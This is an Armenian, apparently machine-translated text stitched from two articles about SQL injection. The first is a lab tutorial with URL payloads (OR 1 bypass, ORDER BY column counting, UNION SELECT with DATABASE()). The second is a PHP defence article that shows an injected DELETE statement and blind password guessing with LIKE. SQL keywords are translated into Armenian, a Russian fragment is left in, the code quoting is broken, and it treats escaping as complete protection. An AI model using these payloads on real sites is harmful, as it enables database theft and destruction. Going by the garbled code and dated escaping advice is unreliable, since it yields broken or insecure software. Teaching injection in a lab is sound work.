միշտ ճշմարիտ կլինի, միշտ կվերադարձնի 1: Քանի որ համեմատվող երկու արտահայտություններից մեկը միշտ կվերադարձնի 1:

Նրանք. մենք պետք է ստեղծենք այսպիսի արտահայտություն.
Հասցեի բար.

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo' ԿԱՄ 1 -+ &գաղտնաբառ=111

Արդյունք:

Արդյունքը գերազանց է: Մենք ստացանք աղյուսակի բոլոր գրառումների ցանկը:

ORDER BY-ը և UNION-ը SQL ներարկումների հիմնական ընկերներն են

Մենք արդեն ստացել ենք տվյալներ, որոնք անհասանելի էին նրանց համար, ովքեր չունեին վավեր օգտանուն և գաղտնաբառ։ Կա՞ որևէ այլ բան, որը ես կարող եմ ստանալ: Այո, դուք կարող եք ստանալ այս աղյուսակի ամբողջական աղբանոցը (հիշեցնեմ ձեզ, որ մենք դեռ չունենք գաղտնաբառեր: Ավելին, մենք կարող ենք ստանալ բոլոր տվյալները այս սերվերի բոլոր տվյալների բազաներից մեկ փոքրիկ անցքի միջոցով:

ՄԻՈՒԹՅՈՒՆթույլ է տալիս համատեղել SQL հարցումները: Իրական կյանքում իմ առաջադրանքները պարզ են, հետևաբար՝ պարզ հարցումներ տվյալների բազաներին և հնարավորություններին ՄԻՈՒԹՅՈՒՆԵս այն չեմ օգտագործում։ Բայց SQL ներարկումների համար սրանից ավելի արժեքավոր բառ չկա։

ՄԻՈՒԹՅՈՒՆթույլ է տալիս բավականին ճկուն կերպով համատեղել SQL հարցումները SELECT-ի հետ, ներառյալ տարբեր տվյալների բազաներից: Բայց կա մի կարևոր շարահյուսական պահանջ՝ առաջին SELECT-ի սյունակների թիվը պետք է հավասար լինի երկրորդ SELECT-ի սյունակների քանակին:

ՊԱՏՎԻՐԵԼ ԿՈՂՄԻՑսահմանում է աղյուսակից ստացված տվյալների տեսակավորումը: Դուք կարող եք տեսակավորել ըստ սյունակի անվանման կամ դրա համարի: Ավելին, եթե այս թվով սյունակ չկա, ապա կցուցադրվի սխալ.

Հասցեի բար.

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ՊԱՏՎԻՐԵԼ 1-ով -+ &գաղտնաբառ=111

Հարցումն այսպիսի տեսք ունի.
Մենք փոխարինեցինք օգտվողի անունը -1-ով, որպեսզի տվյալներ չցուցադրվեն:

Սխալ չկա, չկա նաև հարցումների հետ կապված սխալ
Եվ ահա խնդրանքը
այն համապատասխանում է հասցեի տողին

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ՊԱՏՎԻՐԵԼ 6-ով -+ &գաղտնաբառ=111

Ես սխալ եմ ստացել

Սա նշանակում է, որ տվյալները ընտրվում են աղյուսակից հինգ սյունակով:

Մենք կառուցում ենք մեր հարցումը UNION-ի հետ՝

Ինչպես ասացի, երկու SELECT-ներում էլ դաշտերի թիվը պետք է նույնը լինի, բայց թե ինչ կա այս դաշտերում, այնքան էլ կարևոր չէ։ Դուք կարող եք, օրինակ, պարզապես թվեր մուտքագրել, և սրանք են, որոնք կցուցադրվեն: Դուք կարող եք մուտքագրել NULL - ապա դաշտի փոխարեն ոչինչ չի ցուցադրվի:
Հասցեի բար.

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Սյունակների թիվը գտնելու մեկ այլ միջոց է նույն UNION-ի օգտագործումը: Օգտագործելով սանդուղք, մենք ավելացնում ենք սյունակների քանակը.
Նրանք բոլորը կառաջացնեն նույն սխալը.

Դա արեք այնքան ժամանակ, մինչև սխալի հաղորդագրությունը անհետանա:

Խնդրում ենք նկատի ունենալ, որ UNION SELECT 1,2,3,4,5 որոշ դաշտերի բովանդակությունը ցուցադրվում է էկրանին: Թվերի փոխարեն կարող եք նշել գործառույթներ։

Ինչ գրել SELECT-ում

Կան որոշ գործառույթներ, որոնք կարող են ուղղակիորեն գրվել UNION-ում.

  • ՏՎՅԱԼՆԵՐԻ ԲԱԶԱՆ ()- ցույց տալ ընթացիկ տվյալների բազայի անվանումը
  • ԸՆԹԱՑԻԿ ՕԳՏԱՏԵՐ()- ցույց է տալիս օգտվողի անունը և հյուրընկալողի անունը
  • @@datadir- ցուցադրում է տվյալների բազայի բացարձակ ուղին
  • USER ()- Օգտագործողի անունը
  • VERSION ()- տվյալների բազայի տարբերակը
Մեր օրինակում ցուցադրվում են 2, 4 և 5 դաշտերը, այսինքն. մենք կարող ենք օգտագործել այս դաշտերից որևէ մեկը:

Օգտագործելով DATABASE() UNION SELECT-ում

Հասցե:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Արդյունք:

Աղյուսակների անունների, դաշտերի և տվյալների բազայի աղբավայր ստանալը

Տվյալների բազայում տեղեկատվական_սխեմակա սեղան, որը կոչվում է սեղաններ. Այս աղյուսակը պարունակում է բոլոր աղյուսակների ցանկը, որոնք առկա են այս սերվերի բոլոր տվյալների բազաներում: Մենք կարող ենք ընտրել մեր աղյուսակները՝ փնտրելով դաշտում աղյուսակ_սխեմաՄեր տվյալների բազայի անունն է «db_library» (մենք գտել ենք անունը՝ օգտագործելով DATABASE()):

Սա կոչվում է ամբողջական UNION տեխնիկա: Համացանցում դրա վերաբերյալ շատ նյութեր կան: Իմ MySQL սերվերի վրա ամբողջական UNION տեխնիկան չի աշխատում: Ես սխալ եմ ստանում
Այն չի աշխատում ձեռքերի կորության պատճառով, քանի որ այս տեխնիկան նույնպես արդյունք չի տալիս sqlmap-ով.

Սխալ առաջացավ ամբողջական UNION տեխնիկայի հետ (կարող է լինել առբերված գրառումների քանակի սահմանափակման պատճառով): Վերադառնալ մասնակի UNION տեխնիկային

Դա կարող է պայմանավորված լինել MySQL 5.6 տարբերակով: Որովհետեւ Ես չեմ կարող գործնական օրինակներ բերել, և ինձ չի հետաքրքրում այլ մարդկանց կոտրված հրամանները վերաշարադրել. հիմա, նույնիսկ առանց ինձ, ինտերնետում կան այնքան «մեծ տեսաբաններ», որքան ցանկանում եք, ուստի ես որոշեցի անմիջապես անցնել. հաշվի առնելով մասնակի UNION տեխնիկան: Բայց սա ամենապարզ տեխնիկան չէ, և հոդվածն արդեն բավականին երկար է։

Հոդվածի հաջորդ մասում մենք կուսումնասիրենք մասնակի UNION տեխնիկան, որի օգնությամբ մենք կստանանք սերվերի բոլոր տվյալները՝ տվյալների բազաների անունները, դրանց աղյուսակների և դաշտերի անունները այս աղյուսակներում, ինչպես նաև դրանց բովանդակությունը: . Մինչ դուք սպասում եք երկրորդ մասի հայտնվելուն, պարապեք, կարդացեք SQL ներարկումների և UNION տեխնիկայի մասին, կարդալու համար խորհուրդ են տրվում նաև հետևյալ հոդվածները.

P.S. այո, ես մոռացել էի LIMIT-ի մասին: Հաջորդ անգամ ես կխոսեմ նաև SQL ներարկումներում LIMIT-ի դերի մասին:

SQL ներարկումները՝ վնասակար կոդի ներդրումը տվյալների բազայի հարցումների մեջ, հարձակման ամենավտանգավոր տեսակն է: Օգտագործելով SQL ներարկումները, հարձակվողը կարող է ոչ միայն անձնական տեղեկատվություն ստանալ տվյալների բազայից, այլ նաև որոշակի պայմաններում փոփոխություններ կատարել այնտեղ:

SQL ներարկման խոցելիությունը առաջանում է այն պատճառով, որ օգտատիրոջ տեղեկատվությունը ներառված է տվյալների բազայի հարցում առանց պատշաճ մշակման. որպեսզի համոզվենք, որ սկրիպտը խոցելի չէ, անհրաժեշտ է ապահովել, որ օգտատիրոջ բոլոր տվյալները հայտնվում են տվյալների բազայի բոլոր հարցումներում փախած ձևով: Ունիվերսալության պահանջն է հիմնաքարը. մեկ սցենարով կատարված խախտումը խոցելի է դարձնում ամբողջ համակարգը:

Խոցելիության օրինակ

Ենթադրենք, որ կա սկրիպտ, որը ցուցադրում է տվյալ քաղաքի օգտատերերի ցուցակը՝ որպես GET պարամետր վերցնելով քաղաքի ID-ն: Սկրիպտը հասանելի կլինի HTTP-ի միջոցով /users.php?cityid=20 հասցեով

Վերևի սկրիպտում ծրագրավորողը SQL հարցման մեջ տեղադրում է GET պարամետր՝ ենթադրելով, որ GET պարամետրը միշտ թվ է պարունակելու։ Հարձակվողը կարող է տող փոխանցել որպես պարամետր և դրանով իսկ փչացնել հարցումը: Օրինակ, այն մուտք կգործի սցենար որպես /users.php?cityid=20; Ջնջել * օգտվողներից
SQL հարցումը կունենա հետևյալ տեսքը.

Հարցումը կկատարվի, և սկրիպտը կվերադարձնի ոչ միայն նշված քաղաքից օգտվողներին, այլև բոլոր օգտատերերի ցանկը, որոնց գաղտնաբառը կցուցադրվի իրական անվան փոխարեն:

Ինչպե՞ս պաշտպանվել ինքներդ:

Եկեք օգտատիրոջ տեղեկությունները կցենք առանձին չակերտների մեջ: Սա կօգնի՞:

Վերևի օրինակից դուք կարող եք տեսնել, որ միայնակ չակերտները կցելը բավարար չէ: Պետք է նաև խուսափել տողում պարունակվող ցանկացած մեջբերումից: Դա անելու համար PHP-ն տրամադրում է mysql_real_escape_string() ֆունկցիան, որը յուրաքանչյուր մեջբերումից առաջ, հետին մեջբերումով և մի քանի այլ հատուկ նիշեր է ավելացնում: Եկեք նայենք կոդը.

Այսպիսով, SQL ներարկումներից պաշտպանվելու համար բոլոր արտաքին պարամետրերը, որոնք կարող են պարունակել տեքստ, պետք է մշակվեն՝ օգտագործելով mysql_real_escape_string() և կցվում են միայնակ չակերտների մեջ:

Եթե ​​դուք գիտեք, որ պարամետրը պետք է ընդունի թվային արժեք, այն կարող է փոխակերպվել թվային ձևի՝ բացահայտորեն օգտագործելով ֆունկցիան intval ()կամ floatval (). Այս օրինակում մենք կարող ենք օգտագործել.

$sql = «Ընտրեք օգտվողի անունը, իրական անունը
Օգտատերերից
WHERE cityid=""
.ինտվալ ( $_GET [" cityid" ] ) .""" ;

Տարբերությունները mysql_real_escape_string () և mysql_escape_string ()

mysql_real_escape_string()-ը mysql_escape_string() ֆունկցիայի բարելավված տարբերակն է, որը լայնորեն օգտագործվում է MySQL տվյալների բազայում անվտանգ հարցումներ ստեղծելու համար: Այս երկու ֆունկցիաների տարբերությունն այն է, որ mysql_real_escape_string()-ը ճիշտ է աշխատում բազմաբայթանոց կոդավորումներով։

Ենթադրենք մշակվող տվյալների մեջ (ասենք, UTF-8-ում) նիշ կա, որի կոդը բաղկացած է երկու բայթից՝ տասնվեցական 27 և 2B (համապատասխանաբար 39 և 43 տասնորդական): mysql_escape_string() իրեն փոխանցված տվյալների յուրաքանչյուր բայթը վերաբերվում է որպես առանձին նիշ (ավելի ճիշտ՝ որպես առանձին նիշի կոդ) և որոշում, որ 27 և 2B բայթերի հաջորդականությունը երկու տարբեր նիշ է՝ մեկ մեջբերում (") և a. գումարած (+): Քանի որ ֆունկցիան ընդունում է մեջբերումը որպես հատուկ նիշ, 27 կոդով բայթից առաջ կտրատված (\) կավելացվի, որն իրականում ինչ-որ անվնաս նիշի մաս է կազմում: Արդյունքում տվյալները կուղարկվեն տվյալների բազան աղավաղված տեսքով:

Հարկ է նշել, որ mysql_real_escape_string()-ը ճիշտ է աշխատում բոլոր դեպքերում և կարող է ամբողջությամբ փոխարինել mysql_escape_string():

mysql_real_escape_string() հասանելի է PHP-ում 4.3.0 տարբերակից սկսած:

Լրացուցիչ օրինակներ

Մենք դիտարկել ենք ամենապարզ օրինակը, բայց գործնականում խոցելի հարցումը կարող է ավելի բարդ լինել և չցուցադրել իր արդյունքներն օգտագործողին: Հաջորդը, մենք կքննարկենք SQL ներարկումների օրինակներ որոշ ավելի բարդ դեպքերում, առանց ամբողջականության պահանջի:

Ներարկում բարդ հարցումներում

Ամենապարզ օրինակում հնարավոր եղավ տեղադրել կոդը SQL հարցման վերջում։ Գործնականում, SQL հարցման վերջում կարող են լինել լրացուցիչ պայմաններ, տեսակավորման օպերատորներ, խմբավորումներ և այլ SQL կառուցվածքներ: Յուրաքանչյուր կոնկրետ դեպքում հարձակվողը կփորձի ներդնել վնասակար նյութը այնպես, որ հարցումն ամբողջությամբ մնա շարահյուսորեն ճիշտ, բայց կատարի այլ գործառույթ: Այստեղ մենք կանդրադառնանք լրացուցիչ պայմանով խոցելի հարցման ամենապարզ օրինակին։

Արդյունքում՝ տարիքային պայման<35 չի ազդի նմուշի վրա, քանի որ OR օպերատորն ունի ավելի ցածր գերակայություն, քան AND օպերատորը, և վերը նշված հարցումից WHERE-ը կարող է տարբեր կերպ գրվել որպես. WHERE (cityid = "20" AND 1 ) OR ("1" AND տարիքը<"35" ) (հիշեք, որ WHERE 1 արտահայտությունը միշտ ճիշտ է): Արդյունքում և՛ cityid="20" ունեցող գծերը, և՛ տարիք ունեցողները կհամապատասխանեն պայմանին<35, причем наличие последних не обязательно.

Բարդ հարցումների դեպքում հաջողված SQL ներարկումները պահանջում են որոշակի ստեղծագործականություն, բայց հարձակվողներից կարելի է ակնկալել, որ որոշակի կրեատիվություն ունեն:

Հարցման արդյունքները չեն ցուցադրվում օգտվողին

Հնարավոր է, որ հարցումը, որի արդյունքները չեն ցուցադրվում օգտվողին, խոցելի է: Սա կարող է լինել, օրինակ, օժանդակ հարցում.

$sql = «Ընտրեք հաշիվը (*)
Օգտատերերից
WHERE userid=""
.$_GET [ "userid" ] .""" ;

Վերոնշյալ հարցումը պարզապես ստուգում է տվյալ օգտատիրոջ ներկայությունը օգտվողի առկայության համար. եթե այն վերադարձնում է որևէ ոչ զրոյական արժեք, ապա ցուցադրվում է օգտվողի պրոֆիլը համապատասխան userid-ով, բայց եթե վերադարձվում է 0 (այսինքն, օգտվողներ չկան, որոնք բավարարում են օգտատերերը: հարցման չափանիշներ), ցուցադրվում է «Օգտագործողը չի գտնվել» հաղորդագրությունը:

Այս դեպքում գաղտնաբառը (կամ այլ տեղեկություն) որոշվում է կոպիտ ուժով։ Հարձակվողը փոխանցում է տողը որպես userid պարամետր 2» ԵՎ «a%»-ի պես գաղտնաբառ. Վերջնական խնդրանք.

SELECT count (*) FROM users WHERE userid=«2» ԵՎ «a%»-ի պես գաղտնաբառ

Հարձակվողը կստանա «user not found», եթե գաղտնաբառը չի սկսվում «a» տառով, կամ սովորական օգտատիրոջ պրոֆիլի էջը, հակառակ դեպքում: Գաղտնաբառի առաջին տառը որոշվում է կոպիտ ուժով, ապա երկրորդը և այլն։

եզրակացություններ

  • Արտաքին տվյալներ օգտագործող բոլոր հարցումները պետք է պաշտպանված լինեն SQL ներարկումներից: Արտաքին տվյալները կարող են փոխանցվել ոչ միայն որպես GET պարամետրեր, այլ նաև օգտագործելով POST մեթոդը՝ վերցված COOKIE-ից, երրորդ կողմի կայքերից կամ տվյալների բազայից, որտեղ օգտատերը հնարավորություն ուներ մուտքագրել տեղեկատվություն:
  • Բոլոր թվային պարամետրերը պետք է բացահայտորեն վերածվեն թվային ձևի՝ օգտագործելով ֆունկցիաները intval ()Եվ floatval ()
  • Բոլոր տողերի պարամետրերը պետք է խուսափեն mysql_real_escape_string()և դնել չակերտների մեջ։
  • Եթե ​​SQL ներարկում կառուցելը դժվար է, դուք չպետք է ակնկալեք, որ հարձակվողը չի հասկանա, թե ինչպես դա անել: Սա հատկապես վերաբերում է այն շարժիչներին, որոնց սկզբնական կոդը հրապարակային է:

Հաջողություն՝ ստեղծելով անվտանգ հավելվածներ: